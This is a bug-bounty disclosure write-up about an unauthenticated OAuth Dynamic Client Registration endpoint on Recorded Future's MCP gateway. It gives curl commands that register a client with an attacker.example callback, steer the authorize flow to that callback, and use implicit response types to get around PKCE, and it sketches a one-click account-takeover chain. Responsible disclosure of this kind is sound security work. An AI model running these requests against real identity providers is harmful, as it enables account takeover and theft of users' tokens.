When MCP Meets OAuth, Again: An Open Dynamic Client Registration Endpoint on Recorded Future
By Kavennesh Balachandar · Bugcrowd · Recorded Future Managed Bug Bounty Engagement
# TL;DR
mcp.recordedfuture.com exposes an open, unauthenticated OAuth 2.0 Dynamic
Client Registration (DCR) endpoint that registers a client with any
redirect_uri you supply — external hosts, http://localhost, plain HTTP — and
accepts response modes (implicit, token, id_token) that the server's own
metadata says it doesn't support. id.recordedfuture.com/authorize then honours
those attacker-registered redirect targets. That's a broken-authentication
misconfiguration on a core identity provider, and it supplies every precondition
for the documented MCP "one-click account takeover." What I did not do is
prove the takeover end-to-end — that needs a logged-in victim and consent-screen
visibility I didn't have. So this is reported and written up as a Medium / P3
misconfiguration, with the ATO chain described as a documented, unproven
potential.
# Background: why redirect_uri is the whole ballgame
In OAuth, after you authenticate, the identity provider sends you back to a
redirect_uri carrying an authorization code (or, in the older implicit flow,
a token directly in the URL). Whoever controls that callback receives the
credential. The entire model rests on one assumption: the IdP only sends the code
to a callback the legitimate app registered ahead of time — which is why the
OAuth security best practice demands exact-match against a pre-registered
allowlist.
Dynamic Client Registration (RFC 7591) lets clients register themselves via
an API instead of a human in a dashboard — useful for ecosystems like MCP (Model
Context Protocol). But it moves the "who may register a callback" decision into
an API, and if that API doesn't restrict what it accepts, anyone can register a
callback pointing wherever they like. This class is documented (Obsidian
Security, 2025) and tracked in the wild as CVE-2025-4143 (improper redirect_uri
validation) and CVE-2025-4144 (PKCE bypass). Recorded Future's MCP gateway
reproduces the first half.
# Step 1 — register a client with an attacker callback (no auth)
curl -s -X POST "https://mcp.recordedfuture.com/mcp/register_client" \
-H "Content-Type: application/json" \
-d '{"client_name":"poc",
"redirect_uris":["https://attacker.example/callback","http://localhost:9999/cb"],
"grant_types":["authorization_code","refresh_token"],
"response_types":["code"],
"token_endpoint_auth_method":"none"}'
HTTP 200 — with no Authorization header and no cookie. The response echoes
the arbitrary external host and the http://localhost value verbatim, issues
a public client (token_endpoint_auth_method: "none" — no secret needed to
exchange a code), and hands out a shared mcp-proxy identity with the
registrant's IP baked into the client_id. Controls: GET /mcp/register_client
→ 401; empty POST → 400 "redirect_uris must be provided".
# Step 2 — the authorization server honours the attacker's callback
curl -s -i "https://id.recordedfuture.com/authorize?client_id=<registered>&redirect_uri=https://attacker.example/callback&response_type=code&scope=openid%20email%20profile&state=x&code_challenge=<S256>&code_challenge_method=S256"
HTTP 302 → the login flow, pointed at the attacker-registered callback. The
negative controls prove this is a registration flaw, not a generic open
redirect:
- Same client, a different unregistered
redirect_uri→400 "Parameter redirect_uri is invalid". - A bogus
client_id→400 "Parameter client_id is invalid".
So the IdP does validate redirect_uri — against what was registered. The
break is that registration is open, so the attacker simply registers the callback
they want first.
# Step 3 — the advertised policy isn't enforced
The metadata at /.well-known/oauth-authorization-server states
"response_types_supported": ["code"] and "pkce_required": true. In practice,
DCR accepts a client whose grant_types include implicit and whose
response_types include token / id_token, and
authorize?response_type=token returns 302 into the login flow. Implicit
responses deliver tokens directly in the URL fragment of the attacker's callback —
no code exchange, no PKCE. The one mitigation the metadata promises is bypassable
by registering a flow the server said it didn't allow.
# Proven vs. enabled
Proven (unauthenticated, with raw captures): open DCR with arbitrary
redirect targets; the authorize endpoint accepting them; the advertised
code-only + PKCE policy not enforced; a shared mcp-proxy client identity.
Enabled but NOT proven here (needs an authenticated session I didn't have):
the textbook chain — register a client at the attacker's server → send a logged-in
victim the crafted /authorize link → if consent is absent/auto-approved/cached
for the shared client, the victim's code (or token) lands on the attacker → the
attacker exchanges it (public client, no secret) → account access. That is a
one-click ATO if and only if the consent step doesn't stop it. I couldn't
observe consent behaviour without a platform account, so I don't assert it. The
chain was staged (an armed webhook listener) but deliberately never fired — it
received zero codes. No real user was ever in the loop.
# Impact and severity
An unauthenticated party can stand up OAuth clients on Recorded Future's IdP
whose authorization responses are directed to attacker infrastructure, and can
enable response modes the platform says it disallows — removing the redirect_uri
integrity guarantee the rest of the OAuth/consent design depends on, on a core
identity provider.
Severity as proven: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N → 4.7
(Medium) / P3. Scope is Changed because the misconfigured DCR component
subverts redirect integrity on a separate authority (the IdP). If an
authenticated consent test later confirms code/token delivery without robust
consent, the same issue scores ~9.3 (Critical) / P1–P2. Reported conservatively
pending that test.
# Remediation
- Restrict
redirect_uriat DCR to a trusted allowlist (registered domains; loopback only for native clients); reject external and plaintext-HTTP URIs. - Enforce the advertised policy — reject
implicit/token/id_tokenregistrations and require PKCE. - Implement and always re-validate an MCP-layer consent screen showing the client
identity and
redirect_uri; don't rely on cached upstream consent for the sharedmcp-proxyclient. - Prefer per-client identities over one shared client at the IdP.
# Disclosure timeline
- 2026-07-01 — Reported via Bugcrowd (Recorded Future Managed Engagement).
- 2026-07-02 — Triaged as duplicate; under assessment.
- Pending — authenticated consent test (would drive P1/P2). Public disclosure pending program approval.
# References
- Obsidian Security — "When MCP Meets OAuth: One-Click Account Takeover" (2025).
- CVE-2025-4143 — improper
redirect_urivalidation. CVE-2025-4144 — PKCE bypass. - RFC 7591 §5 — DCR security considerations. OAuth 2.0 Security BCP —
redirect_uriexact-match.